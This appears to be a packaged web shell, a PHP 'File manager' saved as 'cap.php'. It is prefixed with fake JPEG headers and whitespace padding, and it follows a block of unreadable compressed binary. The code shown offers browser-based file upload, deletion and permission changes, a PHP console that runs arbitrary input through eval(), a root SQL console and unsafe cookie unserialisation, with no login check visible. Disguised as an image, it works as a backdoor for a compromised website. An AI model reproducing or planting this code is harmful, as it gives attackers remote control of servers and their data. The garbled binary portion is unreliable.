z8oՒڶjC.ŖBק8녻Z"=FodـPLxb,N+>w̑VϞpѫϞ8<_vuis.OqR\\Vz#+ߢT/.jJ[ǓSO7$>PZ<{sb`$ph"0wTnGg8
duהϠ =^~DΐV:AF'7Ϊ|N>d~BzQ\32mVH(	w	jC?Sr=9@|P+&u8j>,wº.Ήe]wG`5Չ&K.	H1xKRoA@^=d*vJ^J∻S1ȡgzy
3b.JIXA8e6g_+WK3rW鿖J0ugp_qJ꜓茀M?-G,,pxqޤt@n\U7tTv>->p6wԭ/2

|KE8.r>a7$I("+$P0Uзڙ_ml~r躢?% BFk<Gx[QQF  XG
y@l1B?߸i@}XW﾿wvK[f'{@ ^* H`_0PY+1%h/UYO$HXo r3lH=}"Շ'(JYh`Kyj*ߓ WTf	M:&@:#H{?<߃|2O
O[Y޸  `t<c  Ye/1fx0f
v*K/isʕ{QQ6	rp%f}gDqL'ɀI*BI
>S`>^TBAcލs(cɏzoi]eھop2 "<n5l!PńЋxsꁘE_ATR4=S.Rm$`^̌ 	`d$1%[5(P&Xc*zp\_5H\}rه.dGR{ك0HGfF3ZoA.) `fQoc3B(_G7GA/%zDdW`Q'W/J? V/{?7e:7q/B2NiFpw9l<9߫&SsΞD~i8tLP=WZvЧZFw$L@F!L]uf;Pu!9<Lvo#
c#WGù86՝Q32T#6%>#Q0=~荩<%by1{z)3z93TZb e/OU@Ό N?ygP%1nJw#AԹW/LX1 0˫Xξ6r(	]W$q0	bTϓ10n34VhoCTXAN*{3[ W'!uc؈0|/) </x@㯜ԅܩ	\tu%B#4RK^*n~	"Q M+a@֘$}UfPe>~R?t>O矾Mvؿҭq0BOeCimA(N f[(qu
C 跦JO `\M|sso-a0dU2a')I|aC6-
"G00$x[,3'(\)}2NMqf,#s=el6!UdZ{_DI8j}AQ)/qP|8rd*<H[ovNh	!fف}:;QĽ]z%WCcK"h!Mq\';Xyp*&qj8%rPaxL:'8ѩb.FxP${Ե!!/g,3Wb2o}bRO(|fvB~z<\rz{5x˘iS=^`?8>mƥn2TW K}ʢ{|tf(`ZA>i%/@;DDId!9ezˡ	,)JvՇi1~	Ȇϋ+zjǓQp%C;W%<X!{LO4yv A@bL~0`B> t)TA'{'16NvLkr%xhL`\7Ó2'V38Iі@EAA7wOg:`3lc%Y꺊V06Њ<&[hsiqv}(Y|+U}x6]niJ|͆qn1^v72p|Q||]J'W(ƼVΤ	Or/7@%䅏
k;.U,Wz\?\J}PO"3/X94B%d?ؠ㴦.]|ߓ-ЧDP.|{$NG}eCafZ+0LwG=`*(@dS	!Wzs}_I5t
?gZuymt05EZ4}l=7G%/w y~^C<Yth5L3b
ו ?Dhj{p,v	\D!'6nq#7RX wB7``-Ċ׳yD"&cI]8Ke1ݺ	0"buA:ӛ815ԓq@|F78  $1\h*#梁E}H*iEDDD& oX_̈́3aAt$"Iq-Ȍߢ8QY4=Q2JKE+~]wMC<DQ3cb'j)-5='*9XlW]!ȩ߯|ll)4T͗q٘(˽@|x*Ķ{٧x<7VYje8FPOigb04itڤ֐@gz)C1^d)J\<WÕ*rŸh+su)ѐ[HNxi!D٠P[c.O]7ٱR"^yW0ʥb27x)ͱkvQON2'樘ǟDx<),xϒf @gSŎ8gZ<^3Oi$^Kt+% f3凑xaWmL<3\Y#ZC-J<|KJ:x^Oxr0otAltڏFe_zQ;^2$|sqwsaSwj$\KnYH0]N3pVcB)XQH,iT+,};˪'(}xr<O#ú<\P*j+bkO.ۣIQI<*lҏN<XyF,F|zpS?~HbȲk޻-Bt	gnB
Bi]&A-z%O`W'YWm5U?"hY1'ʲO̔dImR6%Yd$Y&whHDr=Xj&kD29ksa&k<க/˥Ds~<\OطNQ1(dƇN#ǉ(Np<<L>J=&Sb^Op$ϟV>7|hdt0vfWfnTZr@Vg639ږWR㪝_XQO-_+NbWMRF-'PMvm$-*-֭:JNԳ׵9lvҼ7?CFfTj#Fa8%k4/?ד(K>nEz}T产_t7vZ6DDLWm!>Y->mf#=fP#m$$*qr͞ P$4STuFѩZڏ>>y:_4F4]yj,hqIrOi#]7Kf깙*?W<#rPeK<{ռ_ˣQ;	Bbf<fW[w9eVtj8fBr*L\+Wl1_(bb+?O1em|&=MZk1¾R/+a1	rWcPL~RLv&Z^a9獿,;lwłKjrvOSwCqm%Pp!0j
B~wdmmŜ{NEQ@Y5e }Ok+KI>D7 =Ŧ /7r1O=Hl9;8TH&Vd}Ol;\*3̪$h4[n^I=Z5NQ9ʎ:qV>WJ?3|hf׉4SZiv\O|wGBOpBFV_f[ͧRS6QKV՚$;)Kmie+֑֕FSgEU+ϝ\j3H/ir	7Wrl)lӛKuB#o3y|co^&UcmT-@Rzy)B`u'族`X=ŹhJjk,dUE*/첼#/E^i;[kD=ħd*eW%ּD7,己q1yVxa[ŊE6}OlJ'[nr4fL[fll[KJS<|S^wm/1.$Cz+1942򶲭)\ W&<`9n{(4ׁ`1΍ZB̐6A=.fMTzPnȞZTr`9nβ;JȷSYbYԕF#J.8IO9	i.WYGy2ƛQ\"&mWZ6OQE#򘍖'M2-VڡQRORiv!3Y\JJcMljyV]\
ͺmx3M;\ԶQaZ<rJME 8kȲo+?m9vב
.How[mY+v+eo-^]bJVFBp)b],jWZ+$,w&L|ʰIlbBeZk%@X}z|"+UO3+(f/ȍ *n]pݬvYX'K͹=f_xS|UWʅ22tZ[aE1;Vkܳ'GFZdUx#^;JZVkZ݁TpqSUz9m67_V1u_l<vX[o<]6(4	/
˛RI缛?E<9[\kVZ3]ѵIc Z{i*?m`niP J7W+\y<t9NYHUjUy|{y_lFT\r2si)(~PFX{Okf_;AFNv2K?ڌltJT3hU}+O<^r:'\N
KxK%:-NOCO)@1lZ46mXg".Mg5X[ؠrw*ly;e%Vh/=Ԋx[~M`%Ǣզ2A-"ͬ9axhc]W.ۙhz<ƫ8N!mᱟu`j9)7A?_gK*pǸMmlէZ=Ğ%O5OjZ=*!WͭGx&B"K{xZ::|>uݩ'7㶡E&R|]ߪ%i죤$S.ҫ*.Ʃ(kIO9\J{s4jxQB)e&#Wf^mntw/lk(6a9/3cT	WAq/εM'+iYÛ񴳚ςA(,w=ω\B栽hN.]gϺ3p8Y-B66:IxO?evgYkjvfIZ|uN%KNZmVT[ub@ZSRnSN,߬C)^VfEm$;O8LD[,r~+מN;׎-=B/^V?{{yT~J/V-7YFE~ΟnT%Y]:V5Dtji ܬ5N椱͒sa7[7[7[7[7[7[7[7[7[7[7[7[7[7[ogiC4RN-$nlQ7g/34IʣzM|L5>fzwdmiݔMfnc`qaGJ&-5҄]{bH@Uق3{sq6ݥn<{v@1ĄH6mżEKM Mk|I!ǐ7#
OJ?(JihFra(GYuGROm0<Ds4&%VOViU1Ӧ] Y<żQy.k¨3ϕ犧R)Ӏg79RKvLCq,yJ70NhBSNbj*J-5z&Wܐ`,8,gs`c0&er@.U.fl6ߎۛ@VOh[(hj嬼ɄeyS(d`V)ǰTXPwj \|M,.ԛ;.NjT,[zzNbBǖ%7'>vFf;vpX_N;l78ӎoo96Ϟ(/f#%tȆý	zވ=/-bS:+A]#B@1^珞ȍ[Qu>g%CVC Twr'̉]+jNK[ZxV:@g<y2Y+b0Y)R6r<qi1Rgϭ,(G{Jl>z˩ڸHx'`Cx{Jw^Gl7k=?Sn?z-X òiHxyxy4!YgU@d"kCzܨF7O)EхzߩQy *p1Uڼ?UwxyY(4cզ7,d-ij,*b((\_z.Uq+jOizi^~i2Fc]!	:)s_rwźUSFFc6h
@+6|F7j(IQ=.9ɲ$xB)O\M[ոF`0&qJpvGج$93\ϴsf̶[K$٘m${`'m=N;zߟNhwS!S
mZSFjaKj[+n8l;vt(&i-1:`]6G9d	OMGVl;\w2גVsRhyiƭSD;M[iML}Rq
76WXo5:ءjW.wԱ=U&
d1)2ܭiˮSwii{6JiUS2b3D\yk/츱)AhQ$⍧V^%;=?^_θvw/4.ao*'w$ 0|h/ȅwiSa9~ũzBzVUn%m+^%˞'[= ͺ@W"I^g?;XUb#<D#p:&@[ԯ~B$a>~p;}(|5W]L%Q㏇C\$X&N&s}[%(F<#u^~"N,x-P$@9S;Z!B8*CF$j	CWCg"EY&w͡ڌ8ƵMx?SeiTè%Na*t#(G)v\~`DPs-BM#15O^LO
,}I^Ɵ
iNRѸӛTsUf%(*A'
[h ;YAUDXJ1[+'9Z HDt[Bg/#%FIt3h<2Dhcy.ߊ`GgΈVhͿCw7X '|z߸6t%ͲX,8~?p
  @K!ڗ[FZKx
=,)ԏ8X*)N(Z{ΉQN
3i3,):-5K(-hO(fG==~4lRKwt zo`;]b%}%B*hc(}%fyYb$`Imo5-W9$n@9XN\m/pؑz\=%QVL^}eywnmql5{SJd_
kvm|77(8$\Q`E|KL!Jb0-9킮Q<4I7vL"*?L7Fu1p	*0{pH?@S* I#
2C.<)ӛ>u2;pNƩ}}!/́HĒwGNSPC
TԮ38CCY
6M7u1}a
M/wbԻw\dq}oh!z55`Fdа>7v(zF9f<r?>ohH o[G'YG"D"d"m_ꌙ.wEs`n,Gd  1G Ho"7E!Q.MSE_mN噾27P	H轎$vPIJ_(ڗMƺ؛V6HRKK(F3w>?oPD6`q%LQw/qd2G~$f3<z\~.G:VW lSB`.j,>emRq`VCr?<fL0& ˽&ᘘ264'>M
f#x_+a")@@9v0F\Q<z`#hܝ*P}(>ׄB mWR?2f0Mܑ0,h!Pe~$
ZXrF$fȉL~KfdlDL7\΀[󣸣4!0ྯ5:V7Db4|$"K4p8Ό&T{Erl/N택ć䇆(>#瀅@ehP3=dǂ)sD;sX'X̃
ӗh9pi-]u/S=Z;xr^^߁Z	~M.g~F%+o$9(/+R(`LD8/g0$Y]nPx%\k]
0"_1:ִ^:镴;Leyҙzbjh^D@6]"{0oH#}0'p`"|r85h-.\=ΈjzCk1W0rru<xf}piq%eO-Дem G3娤 Н$*h۞.,A?9	<\N]:"Clz;qnTPjIphu0Ka0 XȲO uϗ8YV#&#TK_?(,EW!t+r6fCքMf	DBxMYkNucLI`w8ٜD(W.WĮ`zpZmp[of?=*W,l|3Fk!(h{SOI6-wcÝ!PN94°
)>0uH'$- Dyb<.U \~E0X8q<fY#u-^/抠m{J{J
tzUz[QFڎm3S@i_KC
W;ۋW$ԍ.o$L'X5Qe|g8zUY0^+Kaݠ+$yvӒpYlQd8H .Xvj	Lnݕ!)t:&J@ޓo =:C~ )\_kʗhWM]ڤ#ӊ.VIlO]Ip>T}tG?zvS Q~sj {]@G*ꎷEZ^9",hIY3o. &7㐒qqqUQ/E'J-=c{	еY>Ǻi`:.{'Hui\sqaVve:>tGt_3Yx_-.FNT *	llN3￻$Fnխ	3	COF'/}L[KB(t88Uc`Qe`S|b;nXI!;)KvI^D9~omZBM0]{5oF#_)tWPGKrD]?{݀lwm(A"u簾9:ס\AZ<gVhb4A2eIҴK|qo9-'˛,<m2ZYPoߔrcT2c|ߺ0PHz+]JUOtRT` >|` vhC@`AѧOwätYw@x=>517hap(@Z~!>6ŏ݁&&3{ޜWOLV9u{ C[,3&c׹fyUp `L੆ފ`r8{F^1̔+M,N.g>>34>g?Νzٹev}am,63a%Dө1 rrtO,c6!HV@MC˰3j$M猿B-ǀnq?IFid-Eu܌lhe.ΑN$>:^x+矯
CN1#W̆?dhxI;wxKOhu*g*Hr;XrOlp94Դ,C#TWEH 
%ؚ`ܟus[xR.H-7AxeIC&=\"[	{\]-Zi+C26+{-[Z}UHkC30`p؈^A-	1mF}}FP*\`u	1D4|PdY!Yq)-"k~HC ^+<ZSUƗGQ2q?eBŏP 7%=>PzCgVXK6_85;%=%4&3p2i6IJmk"FrlJ0g'2M)Ss
=C!%ۨP/qFjF6'e"\ŇM]m.^wpݭ˅~lJ:_Bs j@ut	SXwdϩߠ86hTj@.(~yYKH=PK)`Nq߻eoa25̖SM=+5?qh+X6@9藈Ss=US#|0׷|ǐT;&qQ;:W\LrTT<Ik%bC]D/wG;&PyYnQS	\	`ԱgGk}]A/wr:7UUuXρ)2co!Oa:㍹XȴENl+,֩`\v<'L2VfD9@-OV9i]U(E5r?.ޫpD_qSۏ Y=ߏ@6pVq4C}Q$|󫪦8kK)J62$02.XSnȝttG"P6_LgMvN~D'=ec-i@6jhC,;z`LPqO~ƄLnZM"Yz폑b0P^ԇH}i\!)!-9&8T&,,`ԧN`x3O!em{{
H+-W8DGMD((wc@}БЩD2c@F7hrRk3㓋+$֜AvY+.IbXJ	8u=r_@k1N]crF08}s0\7`?3РP:>)F?uvbRV`287Ȩ؆wkQ2^#75 =FKëOLOx)WX߽FWO.C ^)VP4Y_%~(
*
~#vRƹ9{yG]5K;_pv얚Uۥ` 溈]qMeN݌rf틤{F^Z\G,xo˷1IdU	I3kr]_$z>`m`U%#i:at
#gPӘSJ{#<	aDi̍vɇ1
v7jzDwR*c"
+ѴC}?a>,¤l6sy޹]LVUϯxn;6ڹlt|Ky;$cˋ+[SƤ}U`mE*IMָ))@.\C)(L+p$ z3H-˞?dEmAna⬂1nUf0J[O$?xE^X 9`ȫc줌R\p?҈N%>JGPN2C~wlcNY"u۔T7&Wӛ ѣH4R;?< [kڽz	zk.$Gowf7󁞋˲U,VS ~Ro'0?So `]& @@/duCnwy8ZZj(bs7\)X,s?u+ L@KlA0CEÆ@w+/6}	Xa#!R((ɛQmܘjԿ_=qxf. kTx˳AyWGL
s f,;Xt//"::u@oNCNȩ9gtHѦb;BؐH#	5*VG	`Y"#QG"FHhw؏ @sY`pkAU(ϡcCTQrb{~~-AA4Q	w<010eʫ(q6m@]?XtaTTT<i΀
#VwWT7O \"hLB~p!{xR0z/Tm\"5ɞxN	Cb؄dHj>(ovhfI,>294c_/B_vbua2sQrZmt}Gxìcj.	$YVͫ*/5̰ɩ~#)ޚb]R>Qs}i	"wK/xbW1t|.!>lWnc~1fuT=ۘQ_"\D7Z5j3VboޗtQҤN5/f7z:X;M@/%h~ū,/	W=	LC6j"ljsb(߃Flo\nJ8y5j2()gt :wE'/҉;3I[9(N2vm¿'sD^H<x)+yl5,+k~k	BX*
hJ!$(BlBt%*`E Ut{dd.|&jc5e8g(e2&#XZ"|u t|^jLS@,9+|wֱ>[dZ#訖d^ 0 NvФy3NVt=? ZU<ǊyĳcLt=B?bY0O1S9si\k+ʶ|s@=V!S8l4R&0  ,ɍ3[BHl:!_Fb19O_
,0ыÑ;^;eWCݜO+K^Φ'3U=Y=+!ehR4dg`5Xb|x
k{o~CwRʭcaj!Ԟ΃T[;ȍxBcu02t0@q'&~o8fY0tL!)\@k.)amZ)\xu}$;k2C4=Z ȹO8]H@U7AONu.
(3HRGkE*"[YU^c0YX+HvѤ#9O d@1=b.}$$Om4k ~/֡;w{;F8fc*9XQcu*|`Mp5݇MӖR؆awBQUP܅k} u|tb}v!Ûy
iLP8:OhأoZ4UP4##|pd[t;^|#G  U$YS.^!EW}uFuw$Ag8kQ&5p3fabHv\Npu|N\jAtMUtrz}6@=1VlL#ïÁ[xg4SF4ReP5Z!$k#<x?^6kȤ93Z꯫&h%4%
FU]~,/d '}/F;FL_&R +IǺk/<k橩sfi[jnκn[wUTmm2mJtcWĶ>Ά>Hx}tCGee2)B*Cr
dB0%%EWEǡC%uq`J|^Vx}
ZD"{n,B1{W
MlY|Kz)Y.:yg
ʋȃOCE^GGTb!8xr7,',/q+47Qd"-cAEQk)#g.6jOĄX<sCaVÌ$23#IF`@uKZ!fU4^{fWq0V1kEg!.U$J]:eW tJL[EH߽.O3?@|.C=*`QPE2<Nbp,6\8;lfX͂b<20!=d&Jr!	Q?|*n7E6Vlma\=?e&M).xpZ̵paAqX>W&40fC ƭH"uFԘj,__-"+D>=
X؉meE(jjE	f6c7M)y같51aE kVA:c2! `tErL.**x3+XrOPu<p=V't +=WU/Ϡh(p!Uz/CH5ƆtkAnޫC<efqp,nPciBm=b.Yxe!ѩ|rۜρԄ]$.O4FhrLw{>杇ߣ| 8Dzܻ}"6_m!RGtL&xp+^ŮQE3PgfX`TGs6͗ƥ"s P?ub{=F|h%	kM;o;0waէw>=}Ѝ'{ V{@{TJk}pyAiEfqm1SO> vwNVL}!5}Zbk^NܭqI4ΞX?Ϸo?~|/ \  PK     |\tF3)9 )9   cap.phpnu [        ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
